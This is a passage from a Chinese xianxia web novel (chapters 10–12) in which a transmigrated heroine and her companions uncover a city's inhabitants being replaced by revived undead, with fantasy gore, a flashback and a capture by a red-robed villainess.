先前他只以为是双亲邻里怪异，可到了街上，众人围堵、对峙，瞧着与记忆中相似却又不尽相同的熟人，他这才幡然醒悟。
不只父母，整个城，所有的人，给他的感觉都不对。
巷口推摊车的李老三跛脚好了；街上卖香囊的王老四脸上麻子不见了；成衣店铺何掌柜喜爱的素衣不穿了……
所有他记忆里熟悉的他们，好像，都不是他们了。
所以，他才发了疯，说了那些乱七八糟的话，生了那些在强逼之下萌生出的，父母被杀，被人替换的想法……
此般种种，就像是根，牵连出后头的猜忌：整个城里的人，都被换了。
都被他们杀掉了，都死了。
而他们，要杀他！
10. 第 10 章
郑予时耐心听完，中途还递了根醒神的草给惊恐难忍的刘强，无声安慰。
他的话，诡异、古怪、超乎常理。
替换，用他人身份存活于世，先换样貌、再学言行，本就难。而要想在所有人都察觉不到的情况下替换一整座城里的人，更是难上加难。
怎么可能呢？又不是所有人都是一伙儿……
等等，所有人？
如果，先从孑然一身无所依靠的孤苦人下手，再渐渐替换城郊无人在意的流民，再往内中心走呢？
人一多，那是不是就会变成，众口一词？变成像刘强昨日被包围的那样？讲不清、无人信、怀疑自己。
只是，为了防止上层掌权者察觉异样强行镇压，这般猜测替换城民的条件，成立的背后还有一个必要的条件，那就是，城中掌势的人，是知情者，亦是帮凶。
想到这儿，刘强身上蚕蝶丝那一缺少的一味最重要的药引子，让郑予时的思绪豁然开朗！
纪家！
纪家小公子身上带的不就是蝶引解药，不就是那缺少的药引子吗！难道说，这满城换人阴谋的背后，是纪家？
郑予时想着，不禁后背生寒，安抚了刘强住下休息后，她抱着一脑杂乱，起身回房。
“我回来了。姐姐！我有一个大胆的想法！”
桌案茶水一饮，解了渴。亓涿光侧卧在软榻上看书，闻声，并未动作。
“嗯。收拾一下，未时出发。”
啊？未时？下午两点就走？那……
“咱们，能晚些走吗？”
“这个地方好像不太对劲。刘强身上中的毒是咱们先前遇到的蝶引之毒的附属毒，蝶引，跟纪家有关，而这蚕蝶丝又偏在纪云城出现，我在想，两者会不会有什么联系。”
“所以。”
所以……
本是瞧着古本的眸子轻轻一抬，看了过来，淡淡询问。
亓涿光的眼睛里满是漠然，只一眼，郑予时知晓，这事儿她并不想管。确实，是她想岔了。
一句‘所以’，提议驳回，她被盯得有些紧张，下意识一咽口水，挂了讨好的笑。
“未时是吧，好叻，我马上收拾！”
知道她们要走的消息，刘强心慌，但也知道不能得罪仙人的道理。于是再不愿，也只敢退而求其次，求她们出城时，捎上他。双亲无踪，城内无念，他想逃。想逃出去求人帮忙。
下午出城，不比入城，城卫意外地出了枪，将他们拦下。
“城主令，近日城中潜入了食人的雌性魔物，所有女子，不得出城。”
纪云城，纪、云两家独大，什么时候，城主府这个摆设都能发号施令了？
莫不是城主府和纪家一样，也是……
不解。但事情，似乎是越来越深了。
最后，刘强出去，郑予时和亓涿光被留了下来。
回到客栈，郑予时搜索着脑内药方，想着要不配一副具有更换性别功效的毒，救急，先出城再说。
说来也是麻烦，易容丹寻常好炼，但她灵力一出，立即就炸，只能千方百计找了错容之毒换脸。如今要更换性别，乔变丹好炼，但她同样炼不出，只能又找毒药替代。如此麻烦。
看来还是得想个办法，把灵力搞一下。
不过那是后话，现在，得先想药方。
客栈一楼，饭桌之上，苦苦思索。然而还不等她寻得答案，面前桌案遭人一拍，震得她一惊，双臂发颤。
咋了这是？
“你就是那个打着我禾丹宗幌子，还冒充我藏师兄小师妹的骗子！？”
闻声抬眼，只见郑予时她们桌前站了个粉衣精致的娇俏小姑娘，咄咄逼人，几分冷傲。
小姑娘双颊鼓鼓，似是气急，但那双圆溜溜的眼睛却怎么也叫人讨厌不起来，小动物一样。
“问你话呢，发什么呆！”
“啊，不好意思。你长得太好看了，一时晃了神。”
“……你……你。哼！”
面上一红，小姑娘似乎是没听过如此没脸没皮的夸人话，噌的一下红晕铺脸，耳根发烫。
她娇哼一声，有些别扭的转过了头去，不再理人。
真可爱。
郑予时看得笑嘻嘻的，不自觉眉眼弯弯地瞧，地流痞子一般不着调，但偏偏眼里又满是欣赏，半点不油腻。
姑娘身后跟来位男子，白衣飘逸，黑发束起，眉心一点红痣出尘三分，衬着那双包容和善的眼眸，温文尔雅。
这是，宜东藏？书中男三？
真好看。
“姑娘。师妹性子直率，还望姑娘不要见怪。”
抱手作礼，不只模样，宜东藏的声音也是温和如风，轻轻拂过，叫人升不起半点脾气。
“自然。小姑娘性子直率可爱，又长得讨喜，在下自然不会介怀。”
说罢，郑予时悄悄看了一眼坐在一旁的亓涿光，见她没有交谈的意思，也没有不耐，这才请了人落座。
“二位要是不介意，咱们坐下谈。请。”
宜东藏是禾丹宗的大师兄，而小姑娘则是禾丹宗宗主的小女儿，禾欢欢。
听宜东藏说，他们是七日前到的纪云城。今早出门，不巧听闻街坊交谈，说是禾丹宗的小师妹仗势欺人，打着禾丹宗大师兄的名号，当街抢了人儿子去试药，嚣张跋扈。
听人描述，宜东藏确认宗内无此般人物，于是这才问了街边路人，一路找来。
“抢了人儿子去试药？他们当真这么说的？噗。有意思。”
说罢，不等回答，郑予时双眼微弯，笑着又问：“那给你们指了路的人，是不是身上带有异香？香到有些浓厚发腻的那种？”
“是。姑娘怎会知晓？”
轻轻一笑，给人添了茶。
“或许，大师兄可知道有一种毒，叫，蚕蝶丝。”
“叫谁大师兄呢！你又不是我禾丹宗弟子，先前没找你麻烦已经是给你面子了，你竟还敢不知收敛地乱喊人！”
“欢欢。我和姑娘在谈正事。”
“什么正事儿需要谈着谈着就喊你大师兄的，我就没见过这样的正事！”
见着禾欢欢情绪越来越激动，郑予时张着一张嘴，为自己嘴边没个把儿而心生惭愧。事情因她而起，想着小姑娘先前因为一句夸而羞红了脸的模样，她试探着，插入了两人的争论。
“那个，小，师妹？”
“小师妹别生气，我冒充禾丹宗弟子确实不对，但当时情况紧急，事急从权，为了救下刘强，这才不得已撒了谎。”
“至于后来顺口喊了师兄师妹，是因为觉得你们不像别的嚣张跋扈的大宗门弟子，瞧着亲切又平易近人，所以这才想着喊得近一些。要是你不喜欢，我不喊就是。对不起呀，你别生气了。”
“谁说我不喜欢了！”
禾欢欢的性子有点小傲娇，说话直，语气凶，但郑予时就是觉得，她是个外冷心软的小可爱。
果然，一试，小姑娘别扭着羞涩，明明欢喜，但偏偏装着凶，故作乖张。
“你要喜欢喊那就喊，我才不管你呢！”
又是
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将头转了过去，禾欢欢双手抱在胸前，一副小孩儿要人哄的生气模样，撅着小嘴。
郑予时被她乐得差点笑出声，忍着笑意，将桌上她多瞧了两眼的糕点往她面前挪了挪，意思不言而喻。
哄了人，关于毒物的交谈继续往下。对于蚕蝶丝，宜东藏自是知晓的。
“蚕蝶丝之毒，在下有幸在古籍上见到过，略知一二。只是姑娘，你刚刚说，救人？所以你不是抢了人儿子去炼药，而是为了救人吗？”
“……”
她的话，这么叫人难以相信吗？
“是的。刘强，就是你听来的我抢走的那位儿子，他中了蚕蝶丝。我昨日将他救下，了解情况后替人解了毒。如今城中有异，刚刚已经先将他送出城去了。”
谈及城中有异时，宜东藏的表情明显一顿，只是除去那迟疑，他的眼底满是无所适从的震撼。
郑予时看不明白，然而禾欢欢一句直言，解了她的疑。
“解了毒！？你别又是在骗人吧！”
“蚕蝶丝可是古书上才记有的罕毒，就是我们禾丹宗古籍遍地，也只有那星灵两言的记录。知晓全部配方都是难题，解毒更是难上加难。你，就凭你这个连宗门都没有的小小炼气，怎么可能会解！？”
“姑娘。这毒，你当真能解？”
“……”
师兄师妹一附一和，两人说的话真诚无比，禾欢欢不信，宜东藏更是觉得惊异难信，叫郑予时没了脾气。有一瞬，她甚至是真的怀疑了自己。
蚕蝶丝，很难解吗？
“额。应该，能，吧。”
“那还请姑娘放手一试。”
说罢，宜东藏二话不说，眼睛一亮，直接拿出个装了血水的琉璃瓶，推了过来。
琉璃瓶巴掌大小，其中装有的血水将齐三分之二，打开，味有咸腻。
是蚕蝶丝没错了，和刘强身上的一样，不是全毒，缺少药引。好解。
只是从取血一出来看，身中蚕蝶丝的城中人，他们早先遇见过。而对宜东藏来说，蚕蝶丝也并不像禾欢欢说得那般神秘难解，至少他学得不错，知道取血，验虫。
没有耽搁，郑予时直接从储物袋里取了三味药草，掐尖儿去尾，抽丝捻节，丢入瓶中。
用筷子随意一搅，药性融入，只见瞬息不到，密密麻麻的白色蠕虫翻滚而出，它们挤着瓶口，争先恐后地往外爬。
摔出瓶口，桌上，白虫蠕动，没爬两步，化作腐水，腥臭难闻。和昨夜郑予时试毒时，一样。
臭味冲天，但这丝毫影响不了宜东藏激动的心情。他的眼里满是狂喜的震撼，瞧着一脸淡定的郑予时就像是看到了珍宝，激动难耐，欣喜若狂。
蚕蝶生虫，虫死毒散。上古罕毒蚕蝶丝，真的，真的就这么解了！？
她，她到底是怎么做到的！
“姑娘！在下，在下还有一个不情之请！请姑娘务必，助宜某一臂之力。”
嗯？
原来先前，宜东藏话有隐藏。
他和禾欢欢本只是路过纪云城，之所以会在这里七天不走，是为了寻找宗门失踪的小师弟。而这件事，直到他拜托郑予时帮忙救人时，她才将将知晓。
小师弟是一个月前丢的，一次下山采办，再无音讯。
宜东藏两人，此行本是为了护送禾欢欢去西疆域参加招亲，刚巧路过纪云城，收到宗门消息，这才留下代为查看。
城中百姓的异样他们看在眼里，七日搜寻，终于在昨夜找到了一丝线索———一个吊了数百活人蚕蛹的，地下古堡。
11. 第 11 章
听到所谓探查到的线索，郑予时眼中的凝重渐渐深了。
如果，如果整个城内身带异香的人都是帮凶，他们共同谋划着一个未知的阴谋，那么按照时间线来看，宜东藏他们此刻出现，蹊跷。
七日查探，不得线索，但偏偏昨日傍晚她刚巧救下刘强后，当晚，他们便察觉异样，寻到了地下古堡。
而今日她和亓涿光要走，被城卫留下，不出片刻，宜东藏便从街坊口里听来了‘她绑了人儿子的消息’，寻到了她们所在的地方。
如此，太巧了。
昨日刘强‘生父’那一眼的贪婪，像是看中了猎物，郑予时没有错过。如今细想，不禁后背一凉。
一月前禾丹宗的小师弟在城内失踪不见，如果他的失踪与此事有关，那就说明，城中的他们，是不怕修者的。
那突然出现的地下古堡的线索，怕是诱饵，而宜东藏他们，是被故意引来的。
引来，带上她和亓涿光，自投罗网。
郑予时将刘强对城中人的猜测和她自己对地堡陷阱的分析一一告知，但纵是危机重重，宜东藏还是坚持要去救人。
他说，地堡人蛹，少说百人。数百人的性命，他不可能见死不救。
宜东藏开口求人，说只要将毒解除，没了蚕蝶丝的毒蛊禁锢，那么他立即就能启动宗门阵法，将所有人和他们一起传送出城。不会有危险。
先不说接不接温柔男三的主角面子，也不看禾欢欢亮晶晶期待的傲娇眼神，郑予时本身，也是想去瞧瞧的。
再之，宜东藏可是禾丹宗顶一的内门大师兄，禾欢欢又是宗主亲生小女儿，这两人贵为禾丹宗的核心人员，禾丹宗的这个人情，收着极其有益。
只是，她的顶头上司亓涿光，瞧着似乎没甚兴趣。
而她一个人，去，多少有些没安全感。
回房之后，纠结二三，郑予时还是开了口。
“姐姐。晚上我想和宜东藏他们一起去看看那古怪的地下古堡，你能，陪着我吗？”
“为什么。想要我陪着你。”
“这一路走来，都是姐姐疼我、护我。今夜深入城底，又黑又冷，怪吓人的。但若是有姐姐在，我，就没那么害怕了。姐姐，你就陪陪我呗。和我一起。”
亓涿光听着，没应，倒是眉尾轻轻一挑，似是漫不经心，反问道。
“可我刚刚见你，和那大师兄，相谈甚欢。怎么，让他护着你，不好么。”
嗯？
这是，吃醋了？
挂着一对硕大的黑眼圈，郑予时觉得自己瞬间眉目清明。绝对是吃醋了！
这几日她对亓涿光细微至极的嘘寒问暖，千钧一发的危急不弃，以及偶尔惹了不开心的小东西哄人，方式方法完全奏效！
如今瞧着亓涿光这阴阳怪气的调调，郑予时自信、坚信、以及笃定，她对大美人的攻略，初见成效！
刚才桌上交谈甚多，亓涿光没参与，肯定是觉得心里烦躁，觉得她有了别的朋友就不在乎她了。但骄傲如她，怎么可能直说出口，所以这才会儿才酸溜溜的阴阳她。
啊。好可爱的小别扭性子呀。
如果说禾欢欢是面上凶傲直率，内里娇羞可爱的傲慢大小姐，那亓涿光就是面上淡如圣女，但心底却偷偷哭唧唧的别扭小傲娇！
她好萌。她好爱。
郑予时的一双眼睛溢满了见到小动物时的慈爱光辉，喜欢，欢喜得不行。
“当然不好啦。他们怎么能和姐姐比呢。在我心里，姐姐才是最重要的，姐姐才是我最喜欢的。有姐姐护着，我才不要他们呢。”
“所以姐姐，你能陪我去吗？没有你在身边，我一个人，会害怕的。”
两手捧在面颊，郑予时撑在亓涿光的面前，歪着头看她。
为了捧脸而摊开的掌心里，一抹幽蓝划过，落入亓涿光的眼里，转瞬即逝。
那一抹蓝，郑予时未能察觉。
自上次眼珠子控住她的右手护她，迫使了亓涿光救下她之后，像是能量耗尽进入休眠，手心只留一道黑纹，眼珠子它没再睁开过眼睛。
郑予时有在心里唤它喊它，但任凭她如何，却始终都得不到回应。
亓涿光说它没事，只是累了而已，郑予时这才放心。
这次夜行，其实她本可以用眼珠子要挟，但她，不愿意，下意识地排斥。所以这次，眼珠子同亓涿光交流的异样，她没能知晓。
撑在面上的手，小小的，亓涿光瞧着眼底含笑，摊开掌心，引了她。
几日相处，牵手已成寻常。她娴熟地捏着她的小手，垂眸，轻轻落下一句似是宠溺的回应。醉人得很。
“好。既是你想要的，那，我便允了你。”
放在郑予时身上的眼珠子暗示那地下有异，既如此，去去又何妨。
再者，毕竟是她的傀儡。弄坏了壳子，可是不好。
*
禾丹宗不愧是大宗。入夜，宜东藏出大手笔，一人发了一张隐匿符出行，不是一般的有钱。
郑予时瞧着两眼通亮，就差没流口水了，馋得不行。
似是不喜欢她盯着别人的目光，见此，亓涿光又塞了个储物袋给她，打开一看，灵石器宝、草药阵盘，甚至连高阶防御符都按打堆的，琳琅满目，壕气逼人。
这些，这些都是给她的？
重金之下，郑予时两眼一花，兴奋使然，她竟然直接一把跳起来抱了人，朝着面颊，重重一吻。
大佬好宠！她好爱！
她一定是全天下最幸福的妹妹！
地下古堡的入口在城南出口边的铁店后院，四人入院，开启机关，下去。
说是机关，其实就是一块铁板封了的长梯。
长梯漆黑，一路下行，若不是宜东藏贴心地点了灵火照路，怕是连半点儿亮都见不到。
不愧是温文尔雅的原文男三！细心周到！
古堡入口被铁门锁住，密不透风，宜东藏和禾欢欢两人默契对视，头一点，法术一结，下一秒，消失不见。
哈？
新奇的术法瞧得郑予时目瞪口呆，整个人都愣了去，然而等她回过神时，灵火熄灭，身后，空无一人。
有没有人管管她？
她才炼气五层啊，她只是个废物小脆皮啊，她不会也没学过术法啊！她那么大一活人，都没人发现她不在了的吗？
无语。想死。
郑予时无力吐槽，索性靠着铁门滑落蹲下，她团着自己，伸手在地上画着圈圈，虚度时光。
左右那蚕蝶丝的毒还得要她去解，到时候没见到人，宜东藏他们自然会回来找她。反正，丢是丢不了的。只是，这地下黑灯瞎火的，又冷又寒，简直不是人呆的地儿。
不出片刻，郑予时再欺骗不了自己，她的身上开始发颤，努力屏蔽着周围环境的她，用手掐了自己的胳膊保持冷静。
她，怕黑。
求求了，快点来个人，救救孩子吧。
一圈、两圈。地面圈圈画了一圈又一圈，指甲掐入胳膊一下又一下。少顷，指尖动作一顿，忽觉，黑暗之中，顶上亮起一片暖光。
郑予时仰头去看，只见那人黑发散下一缕，白衣裙坠，虚虚笼着的衣衫精美又随性着矛盾。极美。
错容之毒换掉的面容并不算绝美，但她这会儿瞧着，就是觉得貌若天仙。
是。亓涿光。
“姐姐……”
灵火之下，小矮子缩在地上团成团，她仰头望她，一双杏仁般的灵动眼眸含着泪，红了一圈。但偏偏，像是强忍着，她朝人甜甜一笑。只是那声‘姐姐’，带着连她自己都未曾察觉到的轻颤。好听极了。
亓涿光眼底一暗，那一声，漾进了心里。
好想，把她弄哭。
弯身而下，不自禁地，她朝着那瑟缩着的小矮子伸了手。抹去泪痕，她的指尖拂上了她卷得乱糟糟的黑发，轻揉。
“怕吗？”
“怕。但是姐姐回来找到我了，就，不怕了。”
拂在头顶的手顺着面颊滑下，牵了她。
一拉，郑予时吃力失控，被她扯了起来，虚虚拢入怀中。
亓涿光的力气，好大。
手上未松，似是察觉到她隐埋心底的恐惧，亓涿光就那么牵着她，指尖细细捻着，像是思索着什么。顷刻，落下一言。
“嗯。我不会丢下你的。”
灵火忽闪，那一瞬，心跳，落了一拍。
极其认真的语气，思索万般后的郑重，郑予时的心，乱了。
亓涿光，原文中恶毒女配的人设，是一朵心狠手辣的带刺黑莲花。
杀人、虐杀，笑着捅死生灵的残忍手段令人乍舌，但她，从不说谎，或是不喜，或是不屑，哪怕是送人去死，她也是向来说到做到，言出必行。
所以……
所以她是真的，真心的，愿意护着她。
她，真的把自己当成朋友了！
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郑予时的心跳得极快，‘咚’‘咚’，像是血液欢腾流转，浑身都冒着喜悦的气息。她的心，很暖。
这一刻，她不愿再将她看成攻略的对象，她也想对她好，真心的那种好。
“姐姐。有你真好。”
郑予时不会术法，亓涿光环着她的腰，灵力一动，追上队伍。
铁门后方是一条湿臭长廊，再穿三扇厚沉铁门，他们终于见到了宜东藏所提的那个地下古堡。
入内，穹顶堆石支撑，拱形高顶密密麻麻缠满了白丝，似是陈年老旧的无人木屋，积攒了蛛网，但更像的，却是那鬼怪故事中蜘蛛成精吐丝的盘丝洞，吃人入腹。
整个古堡内里成椭圆状，上凸下凹，顶上白丝缠绕，坠了不少蛹状茧子，而其下凹陷之处，是一个数百平的巨大深坑，坑内，白丝落落，也有不少缠紧了的白色蛹状物体，少说有百余只。
那些个茧子，小的一米左右，大的足足两米有余，根本不是普通蚕蛹。
是人蛹！
“郑姑娘，这边。”
宜东藏喊她过去，他用一根铁棍一样的东西伸入密集的蚕丝坑内，挑起了一具茧子。
匕首划拉，借着刀口，撕开顶部白丝，将里面人的头部挖了出来。
本来是为了方便解毒，也是为了避免蛹中之人憋死，想让人透气的动作，可谁知，挖出来的这人，头颅皮肉鲜血淋漓，像是胎中新生，粘液腥臭，肌肤粘腻。
但最恐怖的是，它，没有脸。
！
宜东藏面色发白，手上粘稠的触感合着那张狰狞皮肉，瘆人惊魂。
手一抖，力一松，露出头颅的茧子咕噜一滚，摔回了坑里，被那股股密集的白丝又缠了去。
这，到底是什么玩意儿！
毛骨悚然的血尸推下，然而，一波未平一波又起，上部穹顶吊着的一具茧子似是成熟，悄悄破了一角。
滴滴粘腻液体腥臭无比，缓缓下流，‘嘀嗒’一声，坠落。
黄里杂着红的黯淡颜色，像是□□和黄白之物的胡乱糅合。它们自顶上滴落，不偏不倚，砸到了亓涿光的手背上。
霎时，洗尘诀出，就在滴落肌肤的脏污恶心挥散而去的同时，青黑咒文爆发，咒术一指，亓涿光甚至连头都未曾抬起，穹顶之上，数半茧子，灰飞烟灭。
这一招砍死一切的攻击势头，叫郑予时看得不禁咽了咽口水，后怕，又满是暗喜。
想到之前在万人坑底，她那一手抹了血肉的脏手就那么捂了亓涿光嘴的动作，心里凉凉，可是！可是就算那样，她居然都没砍死她！
她一定是很喜欢她的！
她真好！
眉头轻皱，亓涿光垂眸盯着自己洗净了脓液的手背，鼻尖微耸，面上不耐。
洗尘诀，可洗去世间万物浮尘，理应是不会留下任何味道的，但瞧着亓涿光眼眸中明显的彻骨寒意，郑予时知道，她还是嫌脏。
不是生理，是心理。
试问，若是她被滴了一手脓液，估计会恨不得直接把手泡在碘酒里，搓他个三天三夜。
能理解。
储物袋里从山上薅来的草药很多，这些天闲着无事的时候，郑予时没少搓丸子。也是巧，先前苦艾摘了不少，她顺手就搓了些上一世特别喜欢的苦艾丸子。
苦艾丸子不是丹药，它本身就是一种丸子，是外用，身体留香用来驱虫的丸子。
郑予时挺喜欢它的味道，从前一直都在用，只是如今到了这里，为了涨本事保命天天努力搓药，倒是没了先前的舒适生活，便也忘了用。
这会儿巧了，苦艾淡香解乏，刚好可以疏一疏亓涿光心中的烦躁。
想到这，二话不说，郑予时直接掏了丸子出来，捏碎成粉，合着润肤膏涂到了亓涿光的手背上。
她小心地托着她的手，指尖沾染苦艾淡香，一圈圈，细细揉着，认真在意。
她想要，对她好。
“姐姐。这般便不脏了。”
苦艾的味道徐徐散开，入鼻，带着一丝苦，沁人心脾，却又熟悉得要命。
郑予时疼惜的动作，亓涿光一一看在眼里。股股淡香中，思绪逐渐清明，蓦地，她像是陷入狂恋的痴迷苦情人，死死盯住了她。
眼尾染了红，眼底淬上一丝偏执的疯狂，炙热，滚烫。
亓涿光反手攥紧了她，唇齿轻颤，似是乞求一般。
“是。你吗？”
是你，回来了吗？
12. 第 12 章
百年前，万魔窟的夜很冷。数万魔物相互吞噬厮杀，遍地，除了残尸烂肉再无其他。
而六岁的亓涿光，被饲养者丢进了这些青面獠牙的魔物当中，曰：历练修行。
双臂扯断，两腿生肉撕开咬烂，为了活，亓涿光拿命去拼，它们吃她，她便也吃它们，剖腹捣脏，生啖其肉，生饮其血，活得不人不鬼。
但每逢濒死，饲养者准会恰巧出现，捞走她，将一滩烂泥的她丢入牢中，等她自己恢复。
而每当这时，亓涿光的身边，便会出现一道圆乎乎的白色虚影。
起先，亓涿光以为它是山间食人的精怪，想杀它，但渐渐地她发现这小精怪似乎并无恶意。
它一次次出现，一次次在濒死之际陪着她。它身形渐凝，声音渐出，虽然仍不得见其真貌，但亓涿光知道，她，是一个话很多的开朗小姑娘。
她飘在她的身边哭着替她骂人，她采来山间草药捣碎替她治伤，寒冬烈夏，阴湿牢房，她一直陪着她不离不弃，她们，很亲近。
那阴湿腐臭的地狱深渊里，她陪了她三十三年，她说过，无论发生什么，她都会一直陪着她。
亓涿光信了。
可后来，她不见了，再也没回来。她不要她了。
骗子。
那个百年前见到她伤痛无法起身便趴着陪她的小骗子；那个话很多总是思维跳脱的小骗子；那个身上飘香，总是带着一抹淡淡苦味的小骗子，偏偏和她在万人坑尸坑里捡的这个小矮子，一言一行，甚至是那苦艾的味道，都像极了。
叫人，又爱又恨。
亓涿光的话很是莫名其妙，郑予时被她的问题问得云里雾里的，下意识回了个：“哈？”
想再谈，突然，宜东藏眉心一皱，穹顶击杀的半数茧子用幻符遮掩，他拉了几人躲入壁面朦胧厚重的白丝当中，隐匿符一扔，伸手比了个噤声的动作。
“嘘。有人来了。”
入口铁门异动，咔哒咔哒的声音像是齿轮转动，下一秒，对齐，门开。
门外火把先入，来的是四位布衣打扮的中年男人。
他们四人前后分工，两人拉了粗绳从坑底捞出一具茧子，另外两人则沿着铁门两侧伸手一按，开启古堡机关。
咔哒一声，穹顶之上四方石砖松动，下一刻四条手臂粗细的铁链相继射出，连结一起。随后顶上正中开了个漆黑大洞，就在铁链连结的瞬间，砸下来个四人环抱的巨大炉鼎。
炉鼎坠空，那势头像是要将古堡砸穿一般，然而四根铁链横在下头，卸力，坠空骤停，在将将砸碎那一坑茧子的前一秒，停住。
四人拉出来的那个茧子巨大，两米有余，几乎是坑里最大的一具。
柴刀破开层层白丝，一扒拉，剖出个鲜血淋淋的人形物。
血人浑身沾满粘稠□□，皮肉皱巴着，肉骨间密密麻麻的小白点蠕动其中，它破茧而出，竟是像活过来一般，径直走向了那四方炉鼎。
其下点火，其上倒药。
四人忙碌着像是在伺候帝王沐浴一般，有的照看炉下火候，有的调整炉鼎平稳，还有的挑挑拣拣往里倒着他们背来的一筐筐药草。
药草种类只三样，背筐揭开，在草药味道漫过来的瞬间，郑予时瞳孔一缩，下意识抬眼看向了身边牵着她手的人。
四目相望，心下了然。
果然，他们在炉鼎里炼制的，就是变换人体样貌的，错容之毒。
之前在山上采药制毒时郑予时便觉得古怪，明明遍山的药草，但偏偏只有配置错容之毒的三味药草，单独开了三片药田。一片在山南，一片在山中，最后一片在山的东南方向。
那三片药田像是人专门种植的，别人的东西少碰，所以当时郑予时只觉奇怪但却并未薅干净那药田里的草药，留了药钱，只取了三钱不到，用以配毒。
可结果，真如她猜想一般，那药田果真是人专门种的，不过更换容貌，是为了替换整座城的人！
可是为什么呢？
为什么要更改容貌强行换人呢？那未成型的蚕蝶丝的毒，下了又到底为的是什么呢？
思绪堵塞，然而正当郑予时想不通的时候，答案，自己送到了她的眼前。
“唔、唔、唔。”
炉鼎内里温度渐生，刚刚那具自动踏入其内的血人像是惊醒，痛苦呜鸣。它浑身皮肉骨头随着温度的升高逐步融化，不到一刻钟的功夫，化成了一滩糜烂血肉。
血肉翻滚沸腾，随着药力加持，渐渐变得愈发浓稠，而就在熬炼得差不多的时候，穹顶之上那漆黑空洞里，幽绿火光骤降，化作一道虚影，落在了炉鼎之上。
那道幽绿色的扭曲虚影，像是人。
它趴在炉鼎周边，似是颇为满意，伸‘手’入内，抓了那合着药的粘稠肉泥，张‘嘴’吞噬，咀嚼，下咽。
！
一口一口，直至将整个炉鼎血肉吃了干净，虚影这才徐徐落地，站到了四人面前。
双足触及地面，蓦地，虚影凝实，从足尖开始，往上凝练出了实体。
虚影成型，是个身材魁梧的高个子男人。
衣袍披身，男人转身看了过来。瞬间，在看清男人面容的霎那，郑予时额上冷汗骤生，后背一寒。
他，他竟然和那客栈中瑟缩惊恐的店小二，长得一模一样！
难道说，刚刚那个被熔炼血人，是原来的店小二！而这幽绿虚影吞噬了活体的换人操作，就是他们种植药草、下毒蚕蝶丝的根本目的！
是了，一定是了。
蚕蝶丝的吐丝有孕育养分之效。
以蚕蝶丝为始，化人成茧，是为养分；养分肥沃，亡灵吞噬，死而复生，是为契机；最后再以错容之毒为引，更变容貌，重返世间，形成完美闭合链，鸠占鹊巢。
怪不得城中之人大多身带异香，那浓厚到叫人头昏的熏香，为的就是掩盖他们吞噬血肉重生后，身上散出的，那属于亡灵血尸的腐烂味道！
亡灵本无根，唯有生人血肉饲养，以命岁献祭方才勉强留存世间。
整个城，数以万计的百姓，若全都是以命供奉的亡灵死而复生的替代品，那，到底又是谁有如此本事，饲养了他们？
真是个疯子。
郑予时的猜想叫她心里瘆得慌，然而不等再想，只听一道狂喜讥讽的声音闯入耳朵，叫她心凉更甚。
四人之中，其中一位瘦猴一样的男人奸笑一声，朝着刚刚凝形而出的店小二恭敬卖笑，随即，只见他把手往几人藏身处一指，大喊道。
“喻将军！他们都是修者，大补，快吃了他们！”
糟了！被发现了！
亡灵复生，男人浑身煞气浓郁到叫人呼吸难畅，难以抵抗。宜东藏只金丹修为，不敢去赌，手中大把防御符纸扔去，灵力一出，立即启动宗门阵法带人出逃。
坑内茧子里的人早成了血尸养料，救不回来，他们必须走！
阵盘祭出，阵法灵光骤现，道道符文走势带着震慑人心的强悍灵压游走划地，阵成，霎那，四人随阵光消散，无影无踪。
“呼。那到底什么东西啊，好恶心。还好老头子的阵盘勉强管用，咱们总算是逃出城了。”
落地瞬间，被那地堡腐烂场景看得直恶心的禾欢欢终于呼吸到了新鲜空气。一呼一吸，她周身紧绷的戒备彻底卸下，疯狂吐槽。
然而松懈的神经还没舒缓多久，一言，打回原样。
“不对。我们，还在城里。”
“什么！？”
宜东藏往漆黑前方一指，突然，一声嬉笑，整个大殿瞬息骤亮。
金碧辉煌的大殿之上，游龙抱柱，双凤盘顶。金灿灿的晶石点缀着其间，熠
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熠生辉，夺目耀眼，富丽堂皇。
殿上宝座是用人骨堆成的，狰狞扭曲的白骨嵌了浸入煞气的黢黑灵石，穿插成型，其上，侧靠着一位红衣妖媚的美艳娘。
就是她，在笑。
“呵呵。不愧是禾丹宗的大弟子，这警惕度就是不一样。”
“你是亡灵血尸的幕后主使。”
“哦？”
宜东藏笃定的认证叫女人升起兴致，玉足轻落，她踏步而来。
“我可只是请了你们来屋里坐坐客，这位小哥，胡乱说话的人，可是要被拔舌头的哦。”
宜东藏自是有判断。
宗门阵法的传送是五位合体期尊者携手共制的，一旦阵成，不会有误。但他们明明阵法大开，传送的地方，却莫名变成了如今这个不知所地的宫殿，这只能说明一个问题。
早在阵法奏效之前，有人事先设套，破了他们未成形的阵。
这个红衣女人，和那地堡的亡灵血尸，是一伙儿的。
宜东藏如此推测，便也如此说道，女人一听，轻挑一笑，言语中颇有赞赏。
“呵。不错嘛大弟子，头脑转得很快啊。看来你的脑子，吃起来应该是最滋补的，我喜欢。呵呵。”
“……”
调笑着要吃人的言论，宜东藏听罢不做回答，然而不等女人下一步动作，蓦地，殿内突现一幽绿亡灵，窜入，附耳去听。
“什么！该死的，你们怎么不拦他！”
“我绝不允许有人动他。”
调笑神色骤变，蓦地，女人红袖一挥，数万幽绿亡魂点点拥来。眨眼间，宜东藏他们一行人被那滔天煞气猛地掀翻在地，转眼，关入地牢。
气血翻涌，心口发闷。
刚刚，发生了什么。好快！
暂困牢笼，灵阵禁锢。
那前来报信的幽绿亡魂似乎是带来了不好的消息，红衣女人很急，离开前只将人草草锁了，并未上刑，他们暂时还算安全。
禾欢欢虽脾性骄纵，但也不是不识时务的傻子，刚刚那对峙的场景她不会胡乱开口惹祸事，但如今只剩他们自己人，心中压抑的情绪这才彻底抒发。
“藏师兄，这到底是怎么回事？”
经次一遭，宜东藏明显是想到了什么，一脸凝重。
“欢欢，你可还记得少时何长老为了哄你入睡，给你讲的民间故事。”
“师兄是说，少年将军骄兵必败，为胜，丧心病狂掳掠了一城百姓当行军肉盾，最后战死纪云城的恐怖故事吗？我记得的。”
话说百年前，纪云城还不是如今纪、云两家独大的纪云城，而是郑、辛两国征战的边界之地。
当时郑国大将军以命护城，勉强击退外敌后却不幸被敌军捉获，城门斩杀，尸骨无存。
郑国虽守住了城，但将军战死，士气大跌，辛国狂喜，趁此机会再次出击，势必拿下纪云城。
郑国无人，大敌将至，少年儿担负重任，披父盔甲，替父出征。但不想少年稚气未脱，这一战，败得彻底。
